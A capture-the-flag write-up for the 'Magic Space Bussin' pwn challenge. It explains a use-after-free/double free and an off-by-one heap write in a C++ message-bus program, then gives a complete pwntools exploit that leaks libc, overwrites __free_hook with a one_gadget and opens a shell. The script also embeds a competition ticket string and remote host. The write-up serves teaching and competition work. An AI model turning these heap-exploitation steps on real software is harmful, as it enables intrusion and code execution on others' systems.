# Magic Space Bussin

**Category**: “Pure Pwnage”

## Description

The challenge is a C++ application for which we are given both the compiled binary (called magic) and the source code. It can be run using the provided challenge files, which include a couple of Dockerfile files and a top level Makefile:

Building a local copy:

$ make static

Running the challenge:

$ make build # Build Docker containers  
$ make challenge # Run challenge locally through socat + Docker

When the magic binary is started we are greeted with a menu:

startracker 1 pipe\_id: 0  
startracker 2 pipe\_id: 1  
1: Post message on bus  
2: Handle startracker 1 messages  
3: Handle startracker 2 messages  
4: Exit  
>

Option 1 allows us to send messages on a pipe:

startracker 1 pipe\_id: 0  
startracker 2 pipe\_id: 1  
1: Post message on bus  
2: Handle startracker 1 messages  
3: Handle startracker 2 messages  
4: Exit  
> 1  
  
msg\_id: 100  
pipe\_id: 0  
hex: 0  
Message to post on bus: AAAAAAAA  
Clearing msg (0 : 100)

When sending messages we are asked for 4 parameters:

* msg\_id: Identifies the function that will get executed when the message is read from the pipe, the only valid value is 100
* pipe\_id: Identifies the pipe on which the message will be sent, valid values are 0, 1 and 255 (broadcast)
* hex: A boolean value that indicated whether the message content is hex-encoded or not
* Message to post on bus: The message content

Option 2 and 3 allow us to pop messages that were sent respectively in pipe 0 and 1.

The only valid msg\_id is 100, and when such a message is received on a pipe the program simply prints the hex-encoded message byte by byte. For example:

startracker 1 pipe\_id: 0  
startracker 2 pipe\_id: 1  
1: Post message on bus  
2: Handle startracker 1 messages  
3: Handle startracker 2 messages  
4: Exit  
> 1  
  
msg\_id: 100  
pipe\_id: 0  
hex: 0  
Message to post on bus: AAAAAAAA  
Clearing msg (0 : 100)  
1: Post message on bus  
2: Handle startracker 1 messages  
3: Handle startracker 2 messages  
4: Exit  
> 2  
  
StarTracker: Testing Message  
0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41  
Clearing msg (0 : 100)

## Solution

There are two vulnerabilities in the challenge, the first one is a use-after-free (UAF) plus a double free, and the second one is an off-by-one out-of-bounds write.

### UAF + double free

Each pipe has a maximum message capacity of 10, which means that after 10 messages you will no longer be able to send messages on that pipe unless you pop some of them by using option 2 or 3.

When sending a message to pipe\_id = 255 the message is broadcasted to both pipe 0 and 1. The UAF occurs when we broadcast a message with the pipe 0 full. After failing to send the message to pipe 0 (at [5] with i = 0) the program frees the pointer containing the message data and then keeps broadcasting the freed message to pipe 1. Which means that when the message is sent to pipe 1 (at [4] with i = 1) the pipe will store a freed pointer.

// pipe\_id 255 -> broadcast  
if (payload->pipe\_id == UINT8\_MAX) {  
  
 // [1]  
 // bail out if too many pipes are subscribed to a msg\_id  
 if (this->msg\_id\_pipe\_lens[payload->msg\_id] <= this->msg\_max\_subs) {  
 bool copy = true;  
  
 // [2]  
 // for each pipe subscribed to this msg\_id  
 // (pipe 0 and 1 are subscribed to the only available msg\_id -> 100)  
 for (i = 0; i < this->msg\_id\_pipe\_lens[payload->msg\_id]; i++){  
 cur\_pipe\_num = this->msg\_id\_pipe\_map[payload->msg\_id][i];  
  
 // [3]  
 // the last pipe stores the pointer used to read the message content  
 // other pipes always receive a new copy of that buffer  
 if (i == (this->msg\_id\_pipe\_lens[payload->msg\_id]-1)){  
 copy = false;  
 }  
  
 pipe = GetPipeByNum(cur\_pipe\_num);  
  
 // [4]  
 // if copy is false then the pipe will store  
 // payload->data without copying it  
 if (pipe->SendMsgToPipe(payload, copy) != SB\_SUCCESS) {  
 LOG\_ERR("Unable to send payload to Pipe Num: %d\n", cur\_pipe\_num);  
  
 // [5]  
 // when sending a message on a full pipe `SendMsgToPipe` will fail  
 // and payload->data will be freed  
 delete payload->data;  
 ret = SB\_FAIL;  
 }  
 }  
 if (i == 0) {  
 LOG\_ERR("No pipes subscribed to Msg ID: %d\n", payload->msg\_id);  
 delete payload->data;  
 ret = SB\_FAIL;  
 }  
 payload->data = nullptr;  
 } else {  
 LOG\_ERR("Too many pipes subscribed to Msg ID: %d. Bailing out...\n", payload->msg\_id);  
 exit(-1);  
 }  
}

When receiving a message from a pipe the data pointer is freed, which means that if, after triggering this UAF, we receive the first message from the pipe 1, we will trigger a double free.

### Off-by-one

The off-by-one write occurs when sending an hex-encoded message with an odd length:

size\_t SB\_Pipe::CalcPayloadLen(bool ishex, const std::string& s) {  
 if (ishex && (s.length() % 2 == 0)) {  
 return s.length() / 2;  
 } else {  
 return s.length();  
 }  
}  
  
uint8\_t\* SB\_Pipe::AllocatePlBuff(bool ishex, const std::string& s) {  
 if (ishex) {  
 return new uint8\_t[s.length() / 2];  
 } else {  
 return new uint8\_t[s.length()];  
 }  
}  
  
// invoked when sending a message on a pipe  
SB\_Msg\* SB\_Pipe::ParsePayload(const std::string& s, bool ishex, uint8\_t pipe\_id, uint8\_t msg\_id){  
 if (s.length() == 0) {  
 return nullptr;  
 }  
  
 // allocate a buf on the heap of sz = s.length() / 2  
 uint8\_t\* msg\_s = AllocatePlBuff(ishex, s);  
  
 // if user sent `hex: 1`  
 if (ishex) {  
 char cur\_byte[3] = {0};  
  
 // if s.lenth() is odd `CalcPayloadLen()` returns s.length()  
 // instead of s.length() / 2  
 for (size\_t i = 0, j = 0; i < CalcPayloadLen(ishex, s); i+=2, j++) {  
 cur\_byte[0] = s[i];  
 cur\_byte[1] = s[i+1];  
 msg\_s[j] = static\_cast<uint8\_t>(std::strtol(cur\_byte, nullptr, 16));  
 }  
 } else {  
 for(size\_t i = 0; i < CalcPayloadLen(ishex, s); i++){  
 msg\_s[i] = static\_cast<uint8\_t>(s[i]);  
 }  
 }  
  
 // ...  
}

We can only control the lower nibble of byte written oob, the higher nibble is always set to 0 because strtoul() only sees a 1-character string.

## Exploitation

In short, we used the UAF to get a libc leak from a freed unsorted bin, and the double free in combination with the off-by-one oob write to get arbitrary write and overwrite \_\_free\_hook with a [one gadget](https://github.com/david942j/one_gadget) that calls execve("/bin/sh", 0, 0). The complete exploit script is provided below and explains the relevant exploitation steps in more detail through comments in the main() function.

#!/usr/bin/env python3  
  
import re  
from pwn import \*  
  
exe = ELF('./magic\_patched', checksec=False)  
libc = ELF('./libc\_debug-2.31.so', checksec=False)  
context.binary = exe  
  
TICKET = b'ticket{quebec703978whiskey4:GEmu1G0NX1z6syFsVFKuX0vLGEw0ULBraF16mEtKzS4qEdVXUd8NgwhCMM9Y4bpAjg}'  
  
def conn():  
 if args.GDB:  
 r = gdb.debug([exe.path])  
 elif args.REMOTE:  
 r = remote('magic.quals2023-kah5Aiv9.satellitesabove.me', 5300)  
 r.sendlineafter(b'Ticket please:\n', TICKET)  
 else:  
 r = process([exe.path])  
 return r  
  
def post\_msg(msg\_id, pipe\_id, ishex, msg, pwn=False):  
 r.sendline(b'1')  
 r.recvuntil(b'msg\_id: ')  
 r.sendline(b'%d' % msg\_id)  
 r.recvuntil(b'pipe\_id: ')  
 r.sendline(b'%d' % pipe\_id)  
 r.recvuntil(b'hex: ')  
 r.sendline(ishex)  
 r.recvuntil(b'Message to post on bus: ')  
 r.sendline(msg)  
  
 if pwn:  
 return  
  
 data = r.recvuntil(b'\n> ')  
  
 m = re.match(b'(.)\*Clearing msg \((\d+) : (\d+)\)', data, re.DOTALL)  
 if m:  
 if m.group(1):  
 log.warning(m.group(0).decode())  
  
 return (int(m.group(2)), int(m.group(3)))  
  
  
def handle(startracker\_id):  
 if startracker\_id != 1 and startracker\_id != 2:  
 log.error('Invalid startracker\_id: %d' % startracker\_id)  
 return  
 if startracker\_id == 1:  
 r.sendline(b'2')  
 elif startracker\_id == 2:  
 r.sendline(b'3')  
  
 STOP = b'\n1: Post message on bus'  
 data = r.recvuntil(STOP)  
 data = data[:-len(STOP)]  
  
 if b'Testing Message\n' in data:  
 return bytearray(map(lambda x: int(x, 16), re.findall(rb'0x(..)', data)))  
  
 r.recvuntil(b'> ')  
 return data  
  
  
def alloc(pipe\_id, data, pwn=False):  
 post\_msg(100, pipe\_id, b'0', data, pwn)  
  
  
def alloc\_hex(pipe\_id, data):  
 post\_msg(100, pipe\_id, b'1', data)  
  
  
def broadcast(data):  
 post\_msg(100, 0xff, b'0', data)  
  
  
def free(pipe\_id):  
 return handle(pipe\_id + 1)  
  
  
def main():  
 global r  
 r = conn()  
  
 r.recvuntil(b'\n> ')  
  
 # Fill pipe 0  
 for \_ in range(10):  
 alloc(0, b'-')  
  
 # Allocate a chunk of sz 0x140 (target chunk)  
 # this will get stored freed in the pipe 1  
 # At offset 0xf0 we create a fake next\_chunk, so that when we overwrite the last byte  
 # of the sz = 0x140 to sz = 0x100 we will have a valid prev\_inuse bit  
 broadcast(flat({  
 0xf0: [p64(0), p64(0x41)]  
 }, filler = b'B', length = 0x130))  
  
 # Empty pipe 0  
 for \_ in range(10):  
 free(0)  
  
 # Allocate a chunk before the target chunk and use the off-by-one  
 # to poison the size  
 alloc\_hex(0, (b'A' \* 0x1e8).hex().encode() + b'1')  
  
 # Free target chunk again to put it in another tcache  
 # Now that the size is changed we can free it again  
 # and we will not cause a double-free abort as the target tcache bin is different  
 free(1)  
  
 # Empty pipe 0  
 free(0)  
  
 # Fill pipe 0 with all small and last big  
 # This big chunk will end up in unsorted bin when freed  
 alloc(0, b'F' \* 0x1000)  
  
 for \_ in range(9):  
 alloc(0, b'.' \* 0x10)  
  
 # Add padding after the chunk that will end in unsorted  
 alloc(1, b'.' \* 0x30)  
  
 # Put chunk in unsorted, now pipe 0 has 9/10 messages  
 free(0)  
  
 # Fill pipe 0  
 alloc(0, b'.' \* 0x10)  
  
 # Broadcast, this will reclaim the unsorted, free it and put it in pipe 1  
 broadcast(b'@' \* 0xf00)  
  
 # Alloc a small portion from the unsorted bin  
 # so that when the freed message in pipe 1 is received  
 # we will free this message without crashing and also  
 # leaking the pointers from the unsorted right after this chunk  
 alloc(1, b'W' \* 0x50)  
  
 # Remove padding chunk from pipe 1  
 free(1)  
  
 # Leak libc from unsorted  
 # This is when the 0x50 sized buffer is freed to prevent double freeing the unsorted  
 libc\_leak = u64(free(1)[107:107+6] + b"\x00\x00")  
 libc.address = libc\_leak - libc.sym.main\_arena - 96  
  
 log.warning("libc leak : 0x%x", libc\_leak)  
 log.warning("libc base : 0x%x", libc.address)  
  
 # Empty pipe 0  
 for \_ in range(10): free(0)  
  
 # Use the double freed tcache entry to get arb write  
 # and overwrite \_\_free\_hook with a one\_gadget  
 alloc(0, p64(libc.sym.\_\_free\_hook - 0x8) + b"X"\*0x128)  
 alloc(0, b"A"\*8 + p64(libc.address + 0xe3b01) + b"B"\*0xe0, pwn=True)  
  
 r.interactive()  
  
if \_\_name\_\_ == '\_\_main\_\_':  
 main()